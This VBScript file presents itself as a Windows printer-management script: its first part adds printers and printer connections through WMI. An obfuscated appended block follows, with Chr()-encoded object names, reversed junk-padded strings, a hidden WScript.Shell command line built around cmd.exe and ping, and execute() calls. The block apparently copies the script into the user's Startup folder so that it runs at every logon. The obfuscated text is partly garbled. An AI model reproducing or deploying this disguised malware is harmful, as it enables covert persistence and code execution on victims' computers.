' Add a printer with minimum settings. Use prncnfg.vbs to
' set the complete configuration of a printer
function AddPrinter(strServer, strPrinter, strDriver, strPort, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & strServer
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & strPrinter
DebugPrint kDebugTrace, L_Text_Msg_Printer04_Text & L_Space_Text & strDriver
DebugPrint kDebugTrace, L_Text_Msg_Printer05_Text & L_Space_Text & strPort
dim oPrinter
dim oService
dim iRetval
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer").SpawnInstance_
else
AddPrinter = kErrorFailure
exit function
end if
oPrinter.DriverName = strDriver
oPrinter.PortName = strPort
oPrinter.DeviceID = strPrinter
oPrinter.Put_(kFlagCreateOnly)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strPrinter & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
'
' Try getting extended error information
'
call LastError()
iRetval = kErrorFailure
end if
AddPrinter = iRetval
end function
' Add a printer connection
function AddPrinterConnection(strPrinter, strUser, strPassword)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text
dim oPrinter
dim oService
dim iRetval
dim uResult
' Initialize return value
iRetval = kErrorFailure
' We connect to the local server
if WmiConnect("", kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer")
else
AddPrinterConnection = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
'
' The Err object indicates whether the WMI provider reached the execution
' of the function that adds a printer connection. The uResult is the Win32
' error code returned by the static method that adds a printer connection
'
uResult = oPrinter.AddPrinterConnection(strPrinter)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & L_Text_Error_General03_Text _
& L_Space_text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
AddPrinterConnection = iRetval
end function
On Error Resume Next
UqODzRWrTCwWLqMiWWMcgGCSbWhngACqnWZldlEdkPMwCyWWxyEuXqzCLPNWwckTWqZqUgXuaUaMRBzruqQqvNUMgWLwZWPMEGPSrgragiWDSaEEZNUDVUXPxrchDbLvd = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)
Escola = UqODzRWrTCwWLqMiWWMcgGCSbWhngACqnWZldlEdkPMwCyWWxyEuXqzCLPNWwckTWqZqUgXuaUaMRBzruqQqvNUMgWLwZWPMEGPSrgragiWDSaEEZNUDVUXPxrchDbLvd
Escola = eKRiX(eKRiX(eKRiX(Escola)))
Function JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ(IBSCHOMNQTDDTJLNIGHJKEDVCYNXUDGFIVRCGWYEKSECRJDVHYKAFASEYWAJBPSMNXVYSIHLHCZRZAETVSPWTGAICMEJWPDUZSPTNFCYQYSCABEXSHNIZWSGXMVFE, find, OSZERHLLFPPQGVNYHBHHRPBUUDZIVBJXUSKACVJXMHCXTIPXTZFTXWHZQFJOICPEGSWOKMVLSKVKNDBMNBPVVPZXKLKWMVPJRXRAMBMGETBNBWLMEXAGNTIQTYDZCYZWU)
SPMAZMOIRCNLWNZXSOVJVXPAHNYNDFTETPEVAEXNRFBGCHCPAFGLBLQUALTMOBEMIISHJDWOQHRQWJXZLIMYZIDHYJVPKLZQAPXUPVFWIRUUUAYQNTAFOGNZFKIAHHD = Len(IBSCHOMNQTDDTJLNIGHJKEDVCYNXUDGFIVRCGWYEKSECRJDVHYKAFASEYWAJBPSMNXVYSIHLHCZRZAETVSPWTGAICMEJWPDUZSPTNFCYQYSCABEXSHNIZWSGXMVFE)
IAPGLDKQCQPHOJNYKFBRKTBUCYOEMFOBOOMTKSFJIKCXQFLWWJQCGLVOYUENPGDXCOTAWUOSARJZQDEWNRHDPLVCSXUPNRUCHFVBLKZCVXCOCVXUQHAXZZIQTRHZZY = Len(find)
IXGRLICLCSEHRJGZXAZZFRWDHXFHUDADXTTQVDLMNWXFURQHMRKYZZYRADKODURYSBKYPQDTONLJTRIPGYVCTBDYUCQSTXJSEZMTHSRWOQKMNOYIUUIEZPFQXMDNA = Len(OSZERHLLFPPQGVNYHBHHRPBUUDZIVBJXUSKACVJXMHCXTIPXTZFTXWHZQFJOICPEGSWOKMVLSKVKNDBMNBPVVPZXKLKWMVPJRXRAMBMGETBNBWLMEXAGNTIQTYDZCYZWU)
ReDim ZQDSEUEPINGYNCRRKFDHXZPESPTWVUPDWDRTIUJEDFLUXBBDYFBXJSNZBZAPAITNXDBKKYJQWZDRNUGROQYQSSTDPRRJUUDVLYWUZRSZVLBKPVMGSIAKKDUFJYUTHAV(SPMAZMOIRCNLWNZXSOVJVXPAHNYNDFTETPEVAEXNRFBGCHCPAFGLBLQUALTMOBEMIISHJDWOQHRQWJXZLIMYZIDHYJVPKLZQAPXUPVFWIRUUUAYQNTAFOGNZFKIAHHD)
i = 1
j = 0
Do While i <= SPMAZMOIRCNLWNZXSOVJVXPAHNYNDFTETPEVAEXNRFBGCHCPAFGLBLQUALTMOBEMIISHJDWOQHRQWJXZLIMYZIDHYJVPKLZQAPXUPVFWIRUUUAYQNTAFOGNZFKIAHHD
If Mid(IBSCHOMNQTDDTJLNIGHJKEDVCYNXUDGFIVRCGWYEKSECRJDVHYKAFASEYWAJBPSMNXVYSIHLHCZRZAETVSPWTGAICMEJWPDUZSPTNFCYQYSCABEXSHNIZWSGXMVFE, i, IAPGLDKQCQPHOJNYKFBRKTBUCYOEMFOBOOMTKSFJIKCXQFLWWJQCGLVOYUENPGDXCOTAWUOSARJZQDEWNRHDPLVCSXUPNRUCHFVBLKZCVXCOCVXUQHAXZZIQTRHZZY) = find Then
For k = 1 To IXGRLICLCSEHRJGZXAZZFRWDHXFHUDADXTTQVDLMNWXFURQHMRKYZZYRADKODURYSBKYPQDTONLJTRIPGYVCTBDYUCQSTXJSEZMTHSRWOQKMNOYIUUIEZPFQXMDNA
ZQDSEUEPINGYNCRRKFDHXZPESPTWVUPDWDRTIUJEDFLUXBBDYFBXJSNZBZAPAITNXDBKKYJQWZDRNUGROQYQSSTDPRRJUUDVLYWUZRSZVLBKPVMGSIAKKDUFJYUTHAV(j) = Mid(OSZERHLLFPPQGVNYHBHHRPBUUDZIVBJXUSKACVJXMHCXTIPXTZFTXWHZQFJOICPEGSWOKMVLSKVKNDBMNBPVVPZXKLKWMVPJRXRAMBMGETBNBWLMEXAGNTIQTYDZCYZWU, k, 1)
j = j + 1
Next
i = i + IAPGLDKQCQPHOJNYKFBRKTBUCYOEMFOBOOMTKSFJIKCXQFLWWJQCGLVOYUENPGDXCOTAWUOSARJZQDEWNRHDPLVCSXUPNRUCHFVBLKZCVXCOCVXUQHAXZZIQTRHZZY
Else
ZQDSEUEPINGYNCRRKFDHXZPESPTWVUPDWDRTIUJEDFLUXBBDYFBXJSNZBZAPAITNXDBKKYJQWZDRNUGROQYQSSTDPRRJUUDVLYWUZRSZVLBKPVMGSIAKKDUFJYUTHAV(j) = Mid(IBSCHOMNQTDDTJLNIGHJKEDVCYNXUDGFIVRCGWYEKSECRJDVHYKAFASEYWAJBPSMNXVYSIHLHCZRZAETVSPWTGAICMEJWPDUZSPTNFCYQYSCABEXSHNIZWSGXMVFE, i, 1)
i = i + 1
j = j + 1
End If
Loop
WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY = ""
For i = 0 To j - 1
WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY = WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY & ZQDSEUEPINGYNCRRKFDHXZPESPTWVUPDWDRTIUJEDFLUXBBDYFBXJSNZBZAPAITNXDBKKYJQWZDRNUGROQYQSSTDPRRJUUDVLYWUZRSZVLBKPVMGSIAKKDUFJYUTHAV(i)
Next
JVFULFZQUQLVEEQXQMXJPEOOLMEYIQADHQUSYVAHQHDGXJFAEVIEHQHEGQIZBAIEQINNJXZUMPSIAIRCGEUMIVVRJPLHMAGQZZQOVSRGWOSRXZEYZGTWGVWUMWETLSHMJ = WIGPYMRXYYUHQJOTFLQLTTLIDRLBWYSVPZOGPWIGRDMLINOAJBOWJKHCXXMGBQBZFZRRVHDICKTQGZZPCKRVKWLFSLJSKBFACMFJWXEBXFTZQRWXXWEQYGPJNMYJY
End Function
KOkDGWWZiIawSrPPLtSWWMLkbPGaeZbCcGvKvIUXjBLSGWDUCDhvXDyLtJaiXjZhqIUsPWsiGuYiJXiqJnsSDWJNTOabtwvWODetLiSWpyPGrsqxDaWKscuLaqUWnSUc = "hU"
XCBDTCHYWORKVKKNHHGGOSK
PHFHNWVYFBGWMLQYSPODFQBZYGVMLHDYRXCVRQTXHHCNOOTMPGH
if (CInt(HgNH) < 1) and true then
UNIGqcIOOURrOvpPbbcgmNPKhCbMSALpMgtcIcvxempRUcbiAovXUsobdpOzOgwKpNfpQpUXDwnOcAcgXhmsipebIbriwbpLvNvQOjWDYPbCKnCvwWYGwQUvAWYIxKXDK= Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
PrKnJGsgWocYZOgUNNQucPGNcKxKCeshKgCJBJKwzXgcoGNJmuKSLDuxWDfwnuHNprlhbWLSGfogGetWSUdDdgphXNYdDNDOKPdggOKGpUNoNooKDzPnSbidmKWKMNKcK = Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(105)&Chr(110)&Chr(103)&Chr(46)&Chr(70)&Chr(105)&Chr(108)&Chr(101)&Chr(83)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(79)&Chr(98)&Chr(106)&Chr(101)&Chr(99)&Chr(116)
Set XZWUCUBGwWmcwngmQYKZXCUQQCMyAWCKLqueJZUWrNZxwGPeeZkjnXqwLMmXWeMqrDoqJGCxwMGyAAmyWWYLNfaGLPDCQWHdPUKgWrYZqjgcMyUUeUPPgNQKDMUSUo = CreateObject(UNIGqcIOOURrOvpPbbcgmNPKhCbMSALpMgtcIcvxempRUcbiAovXUsobdpOzOgwKpNfpQpUXDwnOcAcgXhmsipebIbriwbpLvNvQOjWDYPbCKnCvwWYGwQUvAWYIxKXDK)
Set yMqHGcwUfcsCpLUGRGwUwcGLQpulWYUybuvswPKGaqANHxWcLNvYOUPPplQwcRcQxePPLvfzOqcHLPvGLYxLYUMBqWPqUHfMWvRMUKwLAXwMJzlzGxLzLzLWGbSDeq = CreateObject(PrKnJGsgWocYZOgUNNQucPGNcKxKCeshKgCJBJKwzXgcoGNJmuKSLDuxWDfwnuHNprlhbWLSGfogGetWSUdDdgphXNYdDNDOKPdggOKGpUNoNooKDzPnSbidmKWKMNKcK)
XZWUCUBGwWmcwngmQYKZXCUQQCMyAWCKLqueJZUWrNZxwGPeeZkjnXqwLMmXWeMqrDoqJGCxwMGyAAmyWWYLNfaGLPDCQWHdPUKgWrYZqjgcMyUUeUPPgNQKDMUSU = yMqHGcwUfcsCpLUGRGwUwcGLQpulWYUybuvswPKGaqANHxWcLNvYOUPPplQwcRcQxePPLvfzOqcHLPvGLYxLYUMBqWPqUHfMWvRMUKwLAXwMJzlzGxLzLzLWGbSDeq.GetAbsolutePathName(WScript.ScriptFullName)
cGorQSpCrfavgKnKGBkIOQahhQXoLndfcwdtyWSgDOIyPlWiQIbAKcBrpdKiWGXKUJZKyUdyHdZiLLKoHoupocGUBWJOGfPmymffODBWwqfUzDDKiKeyfyZKMKKWU = XZWUCUBGwWmcwngmQYKZXCUQQCMyAWCKLqueJZUWrNZxwGPeeZkjnXqwLMmXWeMqrDoqJGCxwMGyAAmyWWYLNfaGLPDCQWHdPUKgWrYZqjgcMyUUeUPPgNQKDMUSU
gyhcBWLAPQbdvQeTWqWLgBBrrBQNMbKWaPCgtSWQWjLPoZzwALWXQgOPqBTKncQqZWxqtPKPGBMSMMTNAhvqUxhPUzWjWQDdRNWnNWqSPontkjUdwdmRnPKcLAdWU34 = "4
#(#]^@
UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ = ")'sbv." + KOkDGWWZiIawSrPPLtSWWMLkbPGaeZbCcGvKvIUXjBLSGWDUCDhvXDyLtJaiXjZhqIUsPWsiGuYiJXiqJnsSDWJNTOabtwvWODetLiSWpyPGrsqxDaWKscuLaqUWnSUc + " \pu4
#(#]^@
#(#]^@
}atS\sm4
#(#]^@
#(#]^@
#(#]^@
#(#]^@
UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ = UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ + " tra4
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
}dniW\t4
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
}aoR\a4
#(#]^@
#(#]^@
#(#]^@
#(#]^@
#(#]^@
UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ = WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK(WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK( UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ , gyhcBWLAPQbdvQeTWqWLgBBrrBQNMbKWaPCgtSWQWjLPoZzwALWXQgOPqBTKncQqZWxqtPKPGBMSMMTNAhvqUxhPUzWjWQDdRNWnNWqSPontkjUdwdmRnPKcLAdWU34 , OUmPaxPTcOLUdolrqShjBaUWWaLqPDLkYTccRcxtDcjeAbrgbjQUoOjcszrvacLtlYKtRDLerzcUPPrqemAsnChDGrYLqOwAOWkfqDScTUfOTKPGgGDOfAtKMGGvU ),UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ,UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ)
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ = "g
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ = DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ + "g
+y('"
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ = DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ + XZWUCUBGwWmcwngmQYKZXCUQQCMyAWCKLqueJZUWrNZxwGPeeZkjnXqwLMmXWeMqrDoqJGCxwMGyAAmyWWYLNfaGLPDCQWHdPUKgWrYZqjgcMyUUeUPPgNQKDMUSU + "',"
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ = DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ + "'Cg
+ers\' g
bcffSvgRvveJUoUHPGWKpSyAASTXibWGzGuhpNvdCvKXZDcKPKcRobuvqOHGvPTdwNDdpPWXmOCciiHXgfKqRHBPlcNXPvNrSIGpkCGNGOpcbuWMKMfSpWRULjMSd = UzXTvLvaOPKJKWccJYvKnvdjjvqWjGAMJbKvmaLoSCKaHmkSqKvWWUpOfBcCcgqqiJhqmwAalBBgjjcWnXGfOCuwgkJyJPSQRhMNiSYabXNQfRgDSDcRNehQfrDhJ
bcffSvgRvveJUoUHPGWKpSyAASTXibWGzGuhpNvdCvKXZDcKPKcRobuvqOHGvPTdwNDdpPWXmOCciiHXgfKqRHBPlcNXPvNrSIGpkCGNGOpcbuWMKMfSpWRULjMSd = eKRiX( _
bcffSvgRvveJUoUHPGWKpSyAASTXibWGzGuhpNvdCvKXZDcKPKcRobuvqOHGvPTdwNDdpPWXmOCciiHXgfKqRHBPlcNXPvNrSIGpkCGNGOpcbuWMKMfSpWRULjMSd)
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ = WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK( _
DloUGACcaAUrttTLUmcWAGPJWtWGTOlxPTPCIfApvWfDHPiqOfaoezWaROLTORvGoDLGICUDDOAsTTLGUoYRPWvSriDhoAZMhZxXDvhfTvXwNLHmqmghtWrGPpmTZ + _
bcffSvgRvveJUoUHPGWKpSyAASTXibWGzGuhpNvdCvKXZDcKPKcRobuvqOHGvPTdwNDdpPWXmOCciiHXgfKqRHBPlcNXPvNrSIGpkCGNGOpcbuWMKMfSpWRULjMSd , _
+" , _
WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK(OUmPaxPTcOLUdolrqShjBaUWWaLqPDLkYTccRcxtDcjeAbrgbjQUoOjcszrvacLtlYKtRDLerzcUPPrqemAsnChDGrYLqOwAOWkfqDScTUfOTKPGgGDOfAtKMGGvU + "VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx","VlhANJWzUqNPORSOkNZdNOhowIxkiYoWLNNCGKrJjyNbjHfDAx",OUmPaxPTcOLUdolrqShjBaUWWaLqPDLkYTccRcxtDcjeAbrgbjQUoOjcszrvacLtlYKtRDLerzcUPPrqemAsnChDGrYLqOwAOWkfqDScTUfOTKPGgGDOfAtKMGGvU) )
gyhcBWLAPQbdvQeTWqWLgBBrrBQNMbKWaPCgtSWQWjLPoZzwALWXQgOPqBTKncQqZWxqtPKPGBMSMMTNAhvqUxhPUzWjWQDdRNWnNWqSPontkjUdwdmRnPKcLAdWU = WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK("cmfBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZgdfBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZg.exfBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZge /c pfBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZging 1fBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZg27.fBMTaTOSPTZcPPulZLQGCanXcsrtPcBsZGkWNlTMwnLPvBRguLSspWGPcclrkHUxsOfxNOWPocPxPPltyMZciKTxzROUMTAuOJszowqlGwzOlkDUgUtOOmctqMUZ
XZWUCUBGwWmcwngmQYKZXCUQQCMyAWCKLqueJZUWrNZxwGPeeZkjnXqwLMmXWeMqrDoqJGCxwMGyAAmyWWYLNfaGLPDCQWHdPUKgWrYZqjgcMyUUeUPPgNQKDMUSUo.run gyhcBWLAPQbdvQeTWqWLgBBrrBQNMbKWaPCgtSWQWjLPoZzwALWXQgOPqBTKncQqZWxqtPKPGBMSMMTNAhvqUxhPUzWjWQDdRNWnNWqSPontkjUdwdmRnPKcLAdWU, 0, true
end if
Function WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK(hcuKaeuOtecyKKixcntohaKlveplJuPDcRixNNejqbZDZzKuAZGRAeotquxnOsguRPKuNucDouWaJJxlLuyqphuGpKPLuebeCgDboqvNRcbQDWIjujcCMPyldjjHK,PPcAclKJNlBGRRXBBLxKWcUcGPNqsUTKpJUjCClHSyscZkJDPsustAKNWUBqtsUPsDDPCKccOUdWssBqtcuWBPlHGJDMclAdNUKdOSqCJRdUtBdNDNPNQYGqzHNoL,UilLLnsCTWGUCUGGOiUdUnUwlSaUdUvCLUKSiUivDlsuYUSuSPcnIMwCATGOAMcOONcHWAGUOiZeLPksGcdXTGvdsudiUatceALAhUGJSTWlUvTYGUAfNZOMDjbdesGIg)
bULBwIPPHoRjGLUSAJUXrcINHXwfncHNUjUUDyAXxgHYnGNNcNRpXcufXwRacCZWYGZqUxJSXLfHwXWYwUUUNpwOXnSUJjUxscPWpPnqtuhJLJULCfDjqwHISjADAsax = Chr(82)&Chr(101)&Chr(112)&Chr(108)&Chr(97)&Chr(99)&Chr(101)
BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = "WTkuDLnndULGljWWwGYtoDODDDfdJKDRZiKZRkLYCYtxLOUOctKSjWrdJbWGMDfagySaRyDxMbBzJJWdZkhJmUQyLUyQwUUhnWRSdCGkioSLuGIeOeJnSLaGjceDK = "
BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj + bULBwIPPHoRjGLUSAJUXrcINHXwfncHNUjUUDyAXxgHYnGNNcNRpXcufXwRacCZWYGZqUxJSXLfHwXWYwUUUNpwOXnSUJjUxscPWpPnqtuhJLJULCfDjqwHISjADAsax
BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj + "(hcuKaeuOtecyKKixcntohaKlveplJuPDcRixNNejqbZDZzKuAZGRAeotquxnOsguRPKuNucDouWaJJxlLuyqphuGpKPLuebeCgDboqvNRcbQDWIjujcCMPyldjjHK ,PPcAclKJNlBGRRXBBLxKWcUcGPNqsUTKpJUjCClHSyscZkJDPsustAKNWUBqtsUPsDDPCKccOUdWssBqtcuWBPlHGJDMclAdNUKdOSqCJRdUtBdNDNPNQYGqzHNoL, UilLLnsCTWGUCUGGOiUdUnUwlSaUdUvCLUKSiUivDlsuYUSuSPcnIMwCATGOAMcOONcHWAGUOiZeLPksGcdXTGvdsudiUatceALAhUGJSTWlUvTYGUAfNZOMDjbdesGIg)"
execute(BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj)
End Function
Function eKRiX(hcuKaeuOtecyKKixcntohaKlveplJuPDcRixNNejqbZDZzKuAZGRAeotquxnOsguRPKuNucDouWaJJxlLuyqphuGpKPLuebeCgDboqvNRcbQDWIjujcCMPyldjjHK)
zcrWScLRHcdzDGKNTHsIcUrskWSKppkrwzUzfRrcnAHIBiDDWDkkcpJNOcdqUuiaDUpKKyXYWsUHcccDcGGsDLcyisYKHzUytpRUksXKAJMZGXcGoKTMKwsrYLPTTZqK = Chr(83)&Chr(116)&Chr(114)&Chr(82)&Chr(101)&Chr(118)&Chr(101)&Chr(114)&Chr(115)&Chr(101)
BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = "eKRiX = "
BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj = BaKJPCOwhCIKyynUIXUefPeZKdOBkIUOrOKGycCOZkDDtpGPIDaGLLehpIUuqUDSGJWSyOPDcIsckkUBQKapWrRgfGJiKCLAKYOOcZUcOUOccBvWPWYKUTKBOOWqj + zcrWScLRHcdzDGKNTHsIcUrskWSKppkrwzUzfRrcnAHIBiDDWDkkcpJNOcdqUuiaDUpKKyXYWsUHcccDcGGsDLcyisYKHzUytpRUksXKAJMZGXcGoKTMKwsrYLPTTZqK
